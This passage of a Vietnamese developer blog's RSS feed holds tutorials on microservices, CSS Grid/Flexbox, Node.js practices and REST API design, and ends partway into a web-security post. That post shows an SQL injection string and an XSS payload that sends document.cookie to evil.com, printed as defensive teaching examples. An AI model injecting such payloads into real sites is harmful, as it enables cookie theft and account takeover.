&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Anti-patterns Cần Tránh&lt;/h2&gt;
&lt;h3&gt;1. Shared Database&lt;/h3&gt;
&lt;p&gt;Service A đọc thẳng database của Service B → mất independence, khó thay đổi schema.&lt;/p&gt;
&lt;h3&gt;2. Synchronous Chain&lt;/h3&gt;
&lt;p&gt;Service A → Service B → Service C → Service D&lt;/p&gt;
&lt;p&gt;Một service chậm → cả chain chậm → timeout → mất request.&lt;/p&gt;
&lt;p&gt;Giải pháp: Dùng async, circuit breaker, hoặc gộp response tại gateway.&lt;/p&gt;
&lt;h3&gt;3. Over-engineering&lt;/h3&gt;
&lt;p&gt;3 developer, 10 user — mà 5 services. Bắt đầu đơn giản, tách sau khi cần.&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Microservices giải quyết vấn đề scale của team và tổ chức — không phải vấn đề kỹ thuật thuần túy. Nếu team bạn nhỏ, monolith là lựa chọn đúng đắn. Khi đau đến mức &quot;phải tách&quot;, hãy tách — đừng tách trước khi đau.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://microservices.io/patterns&quot;&gt;Microservices.io — Pattern Catalog (Chris Richardson)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://martinfowler.com/microservices/&quot;&gt;Martin Fowler — Microservices Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://opentelemetry.io/docs/&quot;&gt;OpenTelemetry Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://kubernetes.io/docs/&quot;&gt;Kubernetes Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.docker.com/compose/&quot;&gt;Docker Compose Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>CSS Grid &amp; Flexbox — Bố Cục Web Hiện Đại Từ A Đến Z</title><link>https://dopana-blog.pages.dev/blog/css-grid-flexbox</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/css-grid-flexbox</guid><description>Làm chủ Flexbox và CSS Grid để xây dựng layout linh hoạt, responsive, không cần framework CSS.</description><pubDate>Wed, 24 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Flexbox và Grid là hai công cụ layout mạnh nhất trong CSS hiện đại. Biết khi nào dùng cái nào là chìa khóa.&lt;/p&gt;
&lt;h2&gt;Flexbox vs Grid — Khi Nào Dùng Gì?&lt;/h2&gt;
&lt;p&gt;| Flexbox | Grid |
|---|---|
| Bố cục 1 chiều (row hoặc column) | Bố cục 2 chiều (row và column) |
| Content-first — kích thước theo nội dung | Layout-first — chia lưới trước, đặt content sau |
| Navigation, card hàng ngang, center | Trang chính, dashboard, gallery |&lt;/p&gt;
&lt;h2&gt;Flexbox — Linh Hoạt Một Chiều&lt;/h2&gt;
&lt;h3&gt;Container&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.container {
  display: flex;
  flex-direction: row;        /* mặc định: row | column */
  justify-content: center;    /* main axis */
  align-items: center;        /* cross axis */
  gap: 16px;                  /* khoảng cách giữa các item */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Items&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.item {
  flex-grow: 1;     /* item có thể giãn */
  flex-shrink: 0;   /* item không co lại */
  flex-basis: 200px; /* kích thước cơ sở */
}

/* shorthand */
.item {
  flex: 1 0 200px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Ví Dụ Thực Tế&lt;/h3&gt;
&lt;p&gt;Header với nav trái-phải:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;header {
  display: flex;
  justify-content: space-between;
  align-items: center;
  padding: 16px 24px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Card grid responsive (không cần media query):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.card-container {
  display: flex;
  flex-wrap: wrap;
  gap: 16px;
}

.card {
  flex: 1 1 300px; /* tối thiểu 300px, giãn đều nếu còn chỗ */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;CSS Grid — Mạnh Mẽ Hai Chiều&lt;/h2&gt;
&lt;h3&gt;Container&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.grid {
  display: grid;
  grid-template-columns: 1fr 2fr 1fr;
  grid-template-rows: auto 1fr auto;
  gap: 24px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Grid Template Areas — Trực Quan Nhất&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.layout {
  display: grid;
  grid-template-areas:
    &quot;header  header  header&quot;
    &quot;sidebar content aside&quot;
    &quot;footer  footer  footer&quot;;
  grid-template-columns: 250px 1fr 200px;
  grid-template-rows: auto 1fr auto;
  min-height: 100vh;
  gap: 16px;
}

header { grid-area: header; }
nav    { grid-area: sidebar; }
main   { grid-area: content; }
aside  { grid-area: aside; }
footer { grid-area: footer; }
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Auto-fit / Auto-fill — Responsive Không Media Query&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.gallery {
  display: grid;
  grid-template-columns: repeat(auto-fill, minmax(250px, 1fr));
  gap: 16px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;auto-fill&lt;/code&gt;: tạo cột trống nếu thừa chỗ. &lt;code&gt;auto-fit&lt;/code&gt;: co cột về 0, content giãn đầy.&lt;/p&gt;
&lt;h3&gt;Grid Item — Placement&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.featured {
  grid-column: span 2;  /* chiếm 2 cột */
  grid-row: span 2;     /* chiếm 2 hàng */
}

/* Hoặc dùng line numbers */
.featured {
  grid-column: 1 / 3;
  grid-row: 1 / 3;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Holy Grail Layout — Flexbox + Grid&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;body&gt;
  &amp;#x3C;header&gt;Header&amp;#x3C;/header&gt;
  &amp;#x3C;div class=&quot;main&quot;&gt;
    &amp;#x3C;nav&gt;Sidebar&amp;#x3C;/nav&gt;
    &amp;#x3C;main&gt;Content&amp;#x3C;/main&gt;
    &amp;#x3C;aside&gt;Aside&amp;#x3C;/aside&gt;
  &amp;#x3C;/div&gt;
  &amp;#x3C;footer&gt;Footer&amp;#x3C;/footer&gt;
&amp;#x3C;/body&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;body {
  display: grid;
  grid-template-rows: auto 1fr auto;
  min-height: 100vh;
}

.main {
  display: flex;
  gap: 16px;
}

.main nav {
  flex: 0 0 250px;
}

.main main {
  flex: 1;
}

.main aside {
  flex: 0 0 200px;
}

@media (max-width: 768px) {
  .main {
    flex-direction: column;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Center — Tuyệt Chiêu&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;/* Cách 1: Flexbox */
.parent {
  display: flex;
  justify-content: center;
  align-items: center;
}

/* Cách 2: Grid */
.parent {
  display: grid;
  place-items: center;
}

/* Cách 3: Absolute + transform */
.child {
  position: absolute;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Mẹo Hay&lt;/h2&gt;
&lt;h3&gt;Sticky Footer&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;body {
  display: flex;
  flex-direction: column;
  min-height: 100vh;
}

main {
  flex: 1;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Equal Height Columns&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;/* Flexbox mặc định đã equal height (align-items: stretch) */
.flex-container {
  display: flex;
}

/* Grid cũng vậy */
.grid-container {
  display: grid;
  grid-template-columns: 1fr 1fr 1fr;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Flexbox cho component nhỏ, layout 1 chiều&lt;/li&gt;
&lt;li&gt;Grid cho layout trang, layout 2 chiều&lt;/li&gt;
&lt;li&gt;Kết hợp cả hai cho kết quả tốt nhất&lt;/li&gt;
&lt;li&gt;&lt;code&gt;gap&lt;/code&gt; thay margin — sạch hơn, dễ kiểm soát&lt;/li&gt;
&lt;li&gt;&lt;code&gt;minmax()&lt;/code&gt; + &lt;code&gt;auto-fill&lt;/code&gt; = responsive không cần media query&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Bỏ float, bỏ table layout. Flexbox và Grid là tất cả những gì bạn cần.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_flexible_box_layout&quot;&gt;MDN CSS Flexbox Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_grid_layout&quot;&gt;MDN CSS Grid Guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.w3.org/TR/css-flexbox-1/&quot;&gt;W3C CSS Flexbox Specification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.w3.org/TR/css-grid-1/&quot;&gt;W3C CSS Grid Specification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/grid-template-areas&quot;&gt;MDN CSS Grid Template Areas&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Node.js Best Practices Cho Backend Developer</title><link>https://dopana-blog.pages.dev/blog/nodejs-best-practices</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/nodejs-best-practices</guid><description>Tổng hợp các best practices khi phát triển Node.js: cấu trúc project, error handling, async, security và performance.</description><pubDate>Tue, 23 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Node.js chạy hơn 50% ứng dụng web backend. Nhưng dễ viết, khó làm đúng. Bài này tổng hợp những best practices thực tế.&lt;/p&gt;
&lt;h2&gt;1. Cấu Trúc Project — Folder-by-Feature&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;src/
├── modules/
│   ├── auth/
│   │   ├── auth.controller.ts
│   │   ├── auth.service.ts
│   │   ├── auth.routes.ts
│   │   └── auth.test.ts
│   └── user/
│       ├── user.controller.ts
│       ├── user.service.ts
│       ├── user.repository.ts
│       └── user.test.ts
├── shared/
│   ├── middleware/
│   ├── utils/
│   └── types/
├── config/
│   └── env.ts
└── app.ts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Folder-by-layer (controllers/, services/, models/) lộn xộn khi project lớn. Folder-by-feature — mỗi module tự quản lý route, controller, service, test riêng.&lt;/p&gt;
&lt;h2&gt;2. Error Handling — Không Để Crash&lt;/h2&gt;
&lt;h3&gt;Custom Error Class&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;export class AppError extends Error {
  constructor(
    public statusCode: number,
    public message: string,
    public code?: string
  ) {
    super(message);
    this.name = &apos;AppError&apos;;
  }
}

// Usage
throw new AppError(404, &apos;User not found&apos;, &apos;USER_NOT_FOUND&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Global Error Handler&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;app.use((err: Error, req: Request, res: Response, next: NextFunction) =&gt; {
  if (err instanceof AppError) {
    return res.status(err.statusCode).json({
      error: { code: err.code, message: err.message }
    });
  }

  // Lỗi không mong đợi — log và trả về 500
  console.error(&apos;Unexpected error:&apos;, err);
  res.status(500).json({
    error: { message: &apos;Internal server error&apos; }
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3. Async — Luôn Dùng try/catch Hoặc Promise.catch&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ — crash nếu reject
app.get(&apos;/users/:id&apos;, async (req, res) =&gt; {
  const user = await userService.findById(req.params.id);
  res.json(user);
});

// ✅ Tốt — wrapper
const asyncHandler = (fn: Function) =&gt;
  (req: Request, res: Response, next: NextFunction) =&gt;
    Promise.resolve(fn(req, res, next)).catch(next);

app.get(&apos;/users/:id&apos;, asyncHandler(async (req, res) =&gt; {
  const user = await userService.findById(req.params.id);
  res.json(user);
}));
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4. Environment Variables — Zod Validation&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { z } from &apos;zod&apos;;

const envSchema = z.object({
  NODE_ENV: z.enum([&apos;dev&apos;, &apos;prod&apos;, &apos;test&apos;]).default(&apos;dev&apos;),
  PORT: z.coerce.number().default(3000),
  DATABASE_URL: z.string().url(),
  JWT_SECRET: z.string().min(32),
  REDIS_URL: z.string().url().optional(),
});

export const env = envSchema.parse(process.env);
// Throw ngay khi start nếu thiếu biến — không đợi runtime
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5. Logging — Có Cấu Trúc&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import pino from &apos;pino&apos;;

const logger = pino({
  level: env.NODE_ENV === &apos;prod&apos; ? &apos;info&apos; : &apos;debug&apos;,
  transport: env.NODE_ENV === &apos;dev&apos;
    ? { target: &apos;pino-pretty&apos; }
    : undefined,
});

logger.info({ userId, action: &apos;login&apos; }, &apos;User logged in&apos;);
logger.error({ err, orderId }, &apos;Failed to process order&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Không dùng &lt;code&gt;console.log&lt;/code&gt; — nó không có level, không structured, không thể search trong production.&lt;/p&gt;
&lt;h2&gt;6. Security Headers&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import helmet from &apos;helmet&apos;;

app.use(helmet());
// Tự động thêm: CSP, X-Frame-Options, X-Content-Type-Options, HSTS...
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;7. Graceful Shutdown&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;process.on(&apos;SIGTERM&apos;, async () =&gt; {
  logger.info(&apos;SIGTERM received. Shutting down gracefully...&apos;);

  server.close(async () =&gt; {
    await db.disconnect();
    await redis.disconnect();
    process.exit(0);
  });

  // Force exit sau 30s
  setTimeout(() =&gt; {
    logger.error(&apos;Forced shutdown&apos;);
    process.exit(1);
  }, 30_000);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;8. Package.json — Script Hữu Ích&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;{
  &quot;scripts&quot;: {
    &quot;dev&quot;: &quot;tsx watch src/app.ts&quot;,
    &quot;build&quot;: &quot;tsc&quot;,
    &quot;start&quot;: &quot;node dist/app.js&quot;,
    &quot;test&quot;: &quot;vitest&quot;,
    &quot;test:cov&quot;: &quot;vitest --coverage&quot;,
    &quot;lint&quot;: &quot;eslint src/&quot;,
    &quot;typecheck&quot;: &quot;tsc --noEmit&quot;,
    &quot;format&quot;: &quot;prettier --write src/&quot;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;9. Health Check Endpoint&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;app.get(&apos;/health&apos;, async (req, res) =&gt; {
  const dbHealthy = await db.$queryRaw`SELECT 1`;
  const redisHealthy = await redis.ping();

  res.json({
    status: dbHealthy &amp;#x26;&amp;#x26; redisHealthy ? &apos;healthy&apos; : &apos;degraded&apos;,
    uptime: process.uptime(),
    timestamp: new Date().toISOString(),
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;10. Dependencies — Luôn Cập Nhật&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Kiểm tra outdated
npm outdated
pnpm outdated

# Cập nhật major
npx npm-check-updates -u
npm install
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Node.js dễ bắt đầu nhưng production đòi hỏi kỷ luật. Những practices trên giúp bạn:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Code dễ đọc, dễ mở rộng&lt;/li&gt;
&lt;li&gt;Hạn chế crash không mong muốn&lt;/li&gt;
&lt;li&gt;Dễ debug và monitoring&lt;/li&gt;
&lt;li&gt;An toàn hơn trong production&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nodejs.org/docs/latest/api/&quot;&gt;Node.js Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://expressjs.com/&quot;&gt;Express.js Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://getpino.io/&quot;&gt;Pino — Node.js Logger&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://helmetjs.github.io/&quot;&gt;Helmet — Security Headers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://zod.dev/&quot;&gt;Zod — Schema Validation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/goldbergyoni/nodebestpractices&quot;&gt;Node.js Best Practices (GitHub)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>REST API Design — Best Practices Cho Backend Developer</title><link>https://dopana-blog.pages.dev/blog/rest-api-design</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/rest-api-design</guid><description>Thiết kế REST API chuẩn: đặt tên endpoint, versioning, error handling, pagination và nhiều hơn nữa.</description><pubDate>Mon, 22 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;API là cầu nối giữa frontend và backend. Một REST API được thiết kế tốt giúp frontend dễ dàng tích hợp, debug, và mở rộng.&lt;/p&gt;
&lt;h2&gt;1. Đặt Tên Endpoint&lt;/h2&gt;
&lt;h3&gt;Dùng Danh Từ Số Nhiều&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;✅ GET    /users          # Danh sách user
✅ GET    /users/:id      # Chi tiết user
✅ POST   /users          # Tạo user
✅ PUT    /users/:id      # Cập nhật toàn bộ
✅ PATCH  /users/:id      # Cập nhật một phần
✅ DELETE /users/:id      # Xóa user

❌ GET    /getUsers       # Dùng động từ
❌ GET    /user           # Số ít
❌ POST   /createUser     # Lặp động từ
❌ DELETE /deleteUser?id=1 # Query param để xóa
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Resource Lồng Nhau&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;GET    /users/:id/posts           # Bài viết của user
GET    /users/:id/posts/:postId   # Chi tiết bài viết
POST   /users/:id/posts           # Tạo bài viết cho user
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Actions — Khi CRUD Không Đủ&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;POST   /users/:id/activate        # Kích hoạt user
POST   /orders/:id/cancel         # Hủy đơn hàng
POST   /posts/:id/like            # Thích bài viết
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dùng &lt;code&gt;POST&lt;/code&gt; thay vì &lt;code&gt;GET/DELETE&lt;/code&gt; cho action — không phải action nào cũng là CRUD.&lt;/p&gt;
&lt;h2&gt;2. Versioning&lt;/h2&gt;
&lt;h3&gt;URL Path (Phổ biến nhất)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;/api/v1/users&lt;/li&gt;
&lt;li&gt;/api/v2/users&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Header (Less intrusive)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-txt&quot;&gt;Accept: application/vnd.myapp.v1+json
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;URL path dễ đọc, dễ test, dễ route. Header &quot;sạch&quot; hơn về mặt REST thuần túy.&lt;/p&gt;
&lt;h2&gt;3. Response Format — Consistency Là Chìa Khóa&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;// ✅ Consistent success
{
  &quot;data&quot;: { &quot;id&quot;: 1, &quot;name&quot;: &quot;Alice&quot; },
  &quot;meta&quot;: { &quot;requestId&quot;: &quot;req-123&quot; }
}

// ✅ Consistent error
{
  &quot;error&quot;: {
    &quot;code&quot;: &quot;VALIDATION_ERROR&quot;,
    &quot;message&quot;: &quot;Email is required&quot;,
    &quot;details&quot;: [
      { &quot;field&quot;: &quot;email&quot;, &quot;message&quot;: &quot;must not be empty&quot; }
    ]
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Pagination&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;GET /users?page=1&amp;#x26;limit=20

{
  &quot;data&quot;: [...],
  &quot;pagination&quot;: {
    &quot;page&quot;: 1,
    &quot;limit&quot;: 20,
    &quot;total&quot;: 150,
    &quot;totalPages&quot;: 8,
    &quot;hasNext&quot;: true,
    &quot;hasPrev&quot;: false
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dùng cursor-based pagination cho real-time data (chat, feed):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-json&quot;&gt;GET /messages?cursor=eyJpZCI6MTB9&amp;#x26;limit=20

{
  &quot;data&quot;: [...],
  &quot;nextCursor&quot;: &quot;eyJpZCI6MzB9&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4. HTTP Status Code — Dùng Đúng Mã&lt;/h2&gt;
&lt;p&gt;| Code | Ý nghĩa | Dùng khi |
|---|---|---|
| 200 | OK | Thành công |
| 201 | Created | POST tạo resource |
| 204 | No Content | DELETE thành công |
| 400 | Bad Request | Validation lỗi |
| 401 | Unauthorized | Chưa đăng nhập |
| 403 | Forbidden | Không có quyền |
| 404 | Not Found | Resource không tồn tại |
| 409 | Conflict | Trùng lặp, xung đột |
| 422 | Unprocessable Entity | Dữ liệu không hợp lệ |
| 429 | Too Many Requests | Rate limit |
| 500 | Internal Server Error | Lỗi server |&lt;/p&gt;
&lt;h2&gt;5. Filtering, Sorting, Searching&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# Filtering
GET /users?role=admin&amp;#x26;status=active

# Sorting
GET /users?sort=name,-createdAt # name ASC, createdAt DESC

# Searching
GET /users?search=alice

# Field selection
GET /users?fields=id,name,email
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;6. Authentication&lt;/h2&gt;
&lt;h3&gt;JWT trong Header&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;Authorization: Bearer &amp;#x3C;token&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Không dùng cookie cho mobile/SPA&lt;/h3&gt;
&lt;p&gt;Trừ khi bạn cần bảo vệ khỏi XSS (httpOnly cookie). Cân nhắc:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bearer token — Đơn giản, mobile-friendly&lt;/li&gt;
&lt;li&gt;httpOnly cookie — Chống XSS, nhưng dễ bị CSRF&lt;/li&gt;
&lt;li&gt;Both — Access token (short-lived) + Refresh token (httpOnly)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. Rate Limiting — Trả Về Header&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;X-RateLimit-Limit: 100
X-RateLimit-Remaining: 45
X-RateLimit-Reset: 1718845200
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;8. Idempotency — An Toàn Khi Retry&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;POST /payments
Idempotency-Key: uuid-v4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Server dùng key này để detect request trùng:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const existing = await cache.get(idempotencyKey);
if (existing) return existing;

const result = await processPayment(data);
await cache.set(idempotencyKey, result, { ttl: 86400 });
return result;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cực kỳ quan trọng cho payment, order — nơi retry có thể gây hậu quả nghiêm trọng.&lt;/p&gt;
&lt;h2&gt;9. API Documentation&lt;/h2&gt;
&lt;p&gt;Công cụ phổ biến cho API documentation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;OpenAPI/Swagger — Tiêu chuẩn, sinh từ code&lt;/li&gt;
&lt;li&gt;Scalar — Giao diện đẹp, hiện đại&lt;/li&gt;
&lt;li&gt;Stoplight — Design-first API&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;# openapi.yaml
openapi: 3.1.0
info:
  title: My API
  version: 1.0.0
paths:
  /users:
    get:
      summary: List users
      parameters:
        - in: query
          name: page
          schema: { type: integer }
      responses:
        &apos;200&apos;:
          description: User list
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;REST API design không có &quot;đúng tuyệt đối&quot; — nhưng có những convention giúp API của bạn dễ dùng, dễ mở rộng. Quan trọng nhất: be consistent. Chọn một style và giữ nó xuyên suốt toàn bộ API.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://restfulapi.net/&quot;&gt;REST API Tutorial — RESTfulAPI.net&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/microsoft/api-guidelines&quot;&gt;Microsoft REST API Guidelines&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://spec.openapis.org/oas/v3.1.0&quot;&gt;OpenAPI Specification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://jsonapi.org/&quot;&gt;JSON:API Specification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://scalar.com/&quot;&gt;Scalar — API Documentation UI&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Bảo Mật Web — Những Lỗ Hổng Phổ Biến Và Cách Phòng Tránh</title><link>https://dopana-blog.pages.dev/blog/web-security-basics</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/web-security-basics</guid><description>XSS, CSRF, SQL Injection, và các lỗ hổng bảo mật web thường gặp — hiểu để phòng tránh ngay từ khi viết code.</description><pubDate>Sun, 21 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Bảo mật không phải là tính năng — nó là trách nhiệm của mọi developer. Bạn không cần là chuyên gia security, nhưng cần biết những lỗ hổng phổ biến để không vô tình tạo ra chúng.&lt;/p&gt;
&lt;h2&gt;1. SQL Injection — Kẻ Thù Số 1&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- Code dễ bị tấn công
&quot;SELECT * FROM users WHERE email = &apos;&quot; + userInput + &quot;&apos;&quot;

-- Attacker nhập: &apos; OR &apos;1&apos;=&apos;1
-- Thành: SELECT * FROM users WHERE email = &apos;&apos; OR &apos;1&apos;=&apos;1&apos;
-- → Lấy toàn bộ user!
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Phòng Tránh&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// ❌ Tệ — nối chuỗi
const query = `SELECT * FROM users WHERE id = ${id}`;

// ✅ Tốt — parameterized query
const query = &apos;SELECT * FROM users WHERE id = $1&apos;;
db.query(query, [id]);

// Dùng ORM
const user = await prisma.user.findUnique({ where: { id } });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Rule: Không bao giờ nối chuỗi SQL với input người dùng.&lt;/p&gt;
&lt;h2&gt;2. XSS (Cross-Site Scripting)&lt;/h2&gt;
&lt;p&gt;Attacker chèn script độc hại vào trang web:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- Input người dùng: --&gt;&amp;#x3C;script&gt;fetch(&apos;https://evil.com/steal?cookie=&apos; + document.cookie)&amp;#x3C;/script&gt;

&amp;#x3C;!-- Render ra: --&gt;
&amp;#x3C;div&gt;
  &amp;#x3C;script&gt;fetch(&apos;https://evil.com/steal?cookie=&apos; + document.cookie)&amp;#x3C;/script&gt;
&amp;#x3C;/div&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Phòng Tránh&lt;/h3&gt;
